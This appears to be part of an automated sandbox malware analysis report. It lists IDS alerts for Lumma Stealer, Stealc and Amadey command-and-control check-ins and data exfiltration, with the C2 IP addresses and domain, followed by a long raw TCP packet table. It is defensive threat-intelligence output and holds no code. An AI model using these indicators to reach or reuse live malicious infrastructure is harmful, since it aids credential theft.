2024-11-22T04:12:54.688432+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49883	172.67.155.248	443	TCP
2024-11-22T04:12:57.878130+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49895	172.67.155.248	443	TCP
2024-11-22T04:12:57.878130+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49895	172.67.155.248	443	TCP
2024-11-22T04:12:59.785272+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49902	185.215.113.43	80	TCP
2024-11-22T04:13:00.617786+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49906	172.67.155.248	443	TCP
2024-11-22T04:13:00.617786+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49906	172.67.155.248	443	TCP
2024-11-22T04:13:01.550620+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49906	172.67.155.248	443	TCP
2024-11-22T04:13:03.466398+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49924	172.67.155.248	443	TCP
2024-11-22T04:13:03.466398+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49924	172.67.155.248	443	TCP
2024-11-22T04:13:08.455114+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49938	172.67.155.248	443	TCP
2024-11-22T04:13:08.455114+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49938	172.67.155.248	443	TCP
2024-11-22T04:13:12.435155+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49951	172.67.155.248	443	TCP
2024-11-22T04:13:12.435155+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49951	172.67.155.248	443	TCP
2024-11-22T04:13:19.684595+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49973	172.67.155.248	443	TCP
2024-11-22T04:13:19.684595+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49973	172.67.155.248	443	TCP
2024-11-22T04:13:20.457402+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49973	172.67.155.248	443	TCP
2024-11-22T04:13:22.066280+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49981	185.215.113.16	80	TCP
2024-11-22T04:13:24.565369+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49989	172.67.155.248	443	TCP
2024-11-22T04:13:24.565369+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49989	172.67.155.248	443	TCP
2024-11-22T04:13:25.292927+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49989	172.67.155.248	443	TCP
2024-11-22T04:13:25.292927+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49989	172.67.155.248	443	TCP
2024-11-22T04:13:26.855047+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49996	172.67.155.248	443	TCP
2024-11-22T04:13:26.855047+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49996	172.67.155.248	443	TCP
2024-11-22T04:13:27.601124+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49996	172.67.155.248	443	TCP
2024-11-22T04:13:27.601124+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49996	172.67.155.248	443	TCP
2024-11-22T04:13:29.832334+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50006	172.67.155.248	443	TCP
2024-11-22T04:13:29.832334+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50006	172.67.155.248	443	TCP
2024-11-22T04:13:32.742389+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50018	172.67.155.248	443	TCP
2024-11-22T04:13:32.742389+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50018	172.67.155.248	443	TCP
2024-11-22T04:13:36.364776+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50029	172.67.155.248	443	TCP
2024-11-22T04:13:36.364776+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50029	172.67.155.248	443	TCP
2024-11-22T04:13:37.079691+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50028	185.215.113.206	80	TCP
2024-11-22T04:13:41.099393+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50056	172.67.155.248	443	TCP
2024-11-22T04:13:41.099393+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50056	172.67.155.248	443	TCP
2024-11-22T04:13:41.830309+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50056	172.67.155.248	443	TCP
2024-11-22T04:13:45.262135+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50074	172.67.155.248	443	TCP
2024-11-22T04:13:45.262135+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50074	172.67.155.248	443	TCP
2024-11-22T04:13:46.106656+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50074	172.67.155.248	443	TCP
2024-11-22T04:13:47.579544+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50087	172.67.155.248	443	TCP
2024-11-22T04:13:47.579544+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50087	172.67.155.248	443	TCP
2024-11-22T04:13:47.612152+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50086	185.215.113.206	80	TCP
2024-11-22T04:13:48.329280+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50087	172.67.155.248	443	TCP
2024-11-22T04:13:49.829960+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50094	185.215.113.16	80	TCP
2024-11-22T04:15:53.328074+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50282	20.50.80.209	443	TCP
2024-11-22T04:17:14.156790+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50347	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 04:11:05.196856976 CET	49675	443	192.168.2.4	173.222.162.32
Nov 22, 2024 04:11:18.099430084 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:18.099519014 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:18.099744081 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:18.101587057 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:18.101620913 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:19.816524029 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:19.816620111 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:19.819859982 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:19.819889069 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:19.820317030 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:19.868771076 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:21.321078062 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:21.367328882 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.894838095 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.894896984 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.894918919 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.894958019 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.895004988 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.895137072 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:21.895137072 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:21.895137072 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:21.895190954 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.895253897 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:21.914225101 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.914331913 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:21.914350033 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.914417028 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:21.914472103 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:23.230211973 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:23.230269909 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:23.230304003 CET	49730	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:23.230340004 CET	443	49730	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:24.123557091 CET	49723	80	192.168.2.4	199.232.210.172
Nov 22, 2024 04:11:24.243526936 CET	80	49723	199.232.210.172	192.168.2.4
Nov 22, 2024 04:11:24.243680954 CET	49723	80	192.168.2.4	199.232.210.172
Nov 22, 2024 04:11:57.445727110 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:57.445786953 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:57.445875883 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:57.446225882 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:57.446242094 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.180824041 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.180946112 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.205744028 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.205787897 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.206713915 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.259447098 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.264000893 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.311337948 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.657114983 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.657191038 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.657210112 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.657227993 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.657264948 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.657288074 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.657306910 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.657315969 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.657334089 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.657366037 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.657366037 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.657398939 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.684113979 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:59.684206963 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:59.684288025 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:59.684777021 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:11:59.684811115 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:11:59.840424061 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.840476036 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.840508938 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.840558052 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.840630054 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.840630054 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.888654947 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.888704062 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.888748884 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.888768911 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:11:59.888799906 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:11:59.888820887 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.005583048 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.005630016 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.005681038 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.005719900 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.005752087 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.005769968 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.052035093 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.052089930 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.052114964 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.052133083 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.052148104 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.052175999 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.052201986 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.070396900 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.070437908 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.070478916 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.070491076 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.070519924 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.070539951 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.091483116 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.091557980 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.091557980 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.091587067 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.091614008 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.091634989 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.193372011 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.193422079 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.193474054 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.193491936 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.193521023 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.193540096 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.213654041 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.213696003 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.213751078 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.213768005 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.213792086 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.213809967 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.227603912 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.227647066 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.227683067 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.227695942 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.227724075 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.227745056 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.241302013 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.241344929 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.241389990 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.241401911 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.241430998 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.241467953 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.258007050 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.258052111 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.258095980 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.258107901 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.258143902 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.258166075 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.272746086 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.272828102 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.272836924 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.272862911 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.272893906 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.272912979 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.277468920 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.277544975 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.277574062 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.277609110 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.277612925 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.277630091 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.277658939 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.277672052 CET	49736	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.277702093 CET	443	49736	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.333339930 CET	49738	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.333419085 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.333509922 CET	49738	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.334045887 CET	49739	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.334146023 CET	443	49739	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.334222078 CET	49739	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.334878922 CET	49740	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.334903955 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.334959030 CET	49740	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.335436106 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.335486889 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.335563898 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.335612059 CET	49738	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.335644960 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.335659981 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.335675001 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.336517096 CET	49742	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.336524010 CET	443	49742	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.336580038 CET	49742	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.336646080 CET	49739	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.336683035 CET	443	49739	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.336715937 CET	49740	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.336730003 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:00.336776018 CET	49742	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:00.336786985 CET	443	49742	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:01.446576118 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:01.446696043 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:01.448344946 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:01.448379040 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:01.448801994 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:01.456796885 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:01.499380112 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.117659092 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.123678923 CET	443	49739	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.125698090 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.130713940 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.130774021 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.130816936 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.130958080 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:02.130959034 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:02.131020069 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.131109953 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:02.132879972 CET	49740	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.132894993 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.133352995 CET	49740	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.133358002 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.136854887 CET	49739	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.136936903 CET	443	49739	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.140222073 CET	49739	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.140239954 CET	443	49739	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.140461922 CET	49738	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.140517950 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.140834093 CET	49738	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.140847921 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.167305946 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.167412043 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.167422056 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:02.167452097 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.167501926 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:02.167566061 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.167624950 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:02.183001041 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.186903954 CET	443	49742	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.210361004 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:02.210397959 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.210423946 CET	49737	443	192.168.2.4	172.202.163.200
Nov 22, 2024 04:12:02.210443020 CET	443	49737	172.202.163.200	192.168.2.4
Nov 22, 2024 04:12:02.211853027 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.211878061 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.212487936 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.212493896 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.213170052 CET	49742	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.213181973 CET	443	49742	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.214068890 CET	49742	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.214073896 CET	443	49742	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.566277981 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.566303968 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.566350937 CET	49740	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.566364050 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.566586018 CET	49740	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.566597939 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.566606998 CET	49740	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.566806078 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.566838980 CET	443	49740	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.566879988 CET	49740	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.570524931 CET	49743	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.570559025 CET	443	49743	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.570616007 CET	49743	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.570754051 CET	49743	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.570770025 CET	443	49743	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.571929932 CET	443	49739	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.572081089 CET	443	49739	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.572144032 CET	49739	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.572253942 CET	49739	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.572253942 CET	49739	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.572294950 CET	443	49739	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.572319031 CET	443	49739	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.574707985 CET	49744	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.574754000 CET	443	49744	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.574831009 CET	49744	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.575041056 CET	49744	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.575068951 CET	443	49744	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.598849058 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.598901033 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.598968029 CET	49738	443	192.168.2.4	13.107.246.63
